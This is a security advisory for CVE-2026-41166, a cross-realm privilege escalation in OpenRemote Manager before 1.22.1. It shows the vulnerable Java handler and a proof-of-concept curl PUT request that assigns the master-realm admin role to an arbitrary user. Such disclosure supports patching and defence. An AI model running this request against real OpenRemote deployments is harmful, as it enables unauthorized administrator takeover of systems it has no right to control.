CVE-2026-41166: OpenRemote has Improper Access Control via updateUserRealmRoles function
Summary A user who has write:admin in one Keycloak realm can call the Manager API to update Keycloak realm roles for users in another realm, including master. The handler uses the {realm} path segment when talking to the identity provider but does not check that the caller may administer that realm.
Published Apr 22, 2026 · Updated Apr 27, 2026
Affected packages
io.openremote:openremote-manager
- Ecosystem
- Maven
- Affected
- < 1.22.1
- Fixed in
- 1.22.1
- Check
mvn dependency:tree -Dincludes=io.openremote:openremote-manager
Advisory details
From the GitHub Advisory Database (CC BY 4.0).
Summary
A user who has write:admin in one Keycloak realm can call the Manager API to update Keycloak realm roles for users in another realm, including `master`. The handler uses the {realm} path segment when talking to the identity provider but does not check that the caller may administer that realm. This could result in a privilege escalation to master realm administrator if the attacker controls any user in master realm.
Details
In manager/src/main/java/org/openremote/manager/security/UserResourceImpl.java, there is no check to validate if the caller should be able to administer a realm they're trying to update.
@Override
public void updateUserRealmRoles(RequestParams requestParams, String realm, String userId, String[] roles) {
try {
identityService.getIdentityProvider().updateUserRealmRoles(
realm,
userId,
roles);
} catch (ClientErrorException ex) {
ex.printStackTrace(System.out);
throw new WebApplicationException(ex.getCause(), ex.getResponse().getStatus());
} catch (Exception ex) {
throw new WebApplicationException(ex);
}
}PoC
- Create a new Keycloak realm other than
master. Add a user and grant that user the OpenRemote client rolewrite:admin. Remember the realm name (call itNEW_REALM). - In Keycloak realm
master, pick a low-privilege user (noadminrealm role). Copy that user’s UUID (<master-user-uuid>). - Authenticate as the user from step 1 and obtain a Bearer access token (
<token>) forNEW_REALM. - Replace placeholders and run:
curl -k -X PUT "https://<host>/api/<NEW_REALM>/user/master/userRealmRoles/<master-user-uuid>" \
-H "Authorization: Bearer <token>" \
-H "Content-Type: application/json" \
-d '["admin"]'- In the Keycloak Admin Console, realm master, that user, Role mapping. Confirm the admin realm role is assigned.
Impact
An attacker with the OpenRemote client role write:admin in any realm can call this API with {realm} set to another realm (for example master) and change Keycloak realm roles for users there. That can grant admin on master to a user UUID they target, which gives Keycloak administrator access for the master realm.
Credited to KKC73.
References
How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. No analysis has been written for this entry yet. Methodology
More Maven vulnerabilities
All Maven entriesCVE-2026-104885
OpenRemote: Cross-realm MQTT session disconnect without authorization
medium6.3Nov 20, 2026CVE-2026-49439
OpenRemote read-only asset users can write predicted datapoints
medium4.3Jul 6, 2026CVE-2026-54641
OpenRemote has Cross-Realm User Information Disclosure in UserResourceImpl
high7.7Jul 6, 2026GHSA-cgfv-jrfp-2r7v
OpenRemote has Authenticated SQL Injection via Datapoint Crosstab Export
high7.2Jul 6, 2026CVE-2026-56120
OpenRemote Manager: removeAlarms cross-realm IDOR (bulk delete)
critical9.6Jun 19, 2026CVE-2026-40882
OpenRemote has XXE in Velbus Asset Import
high7.6Apr 15, 2026
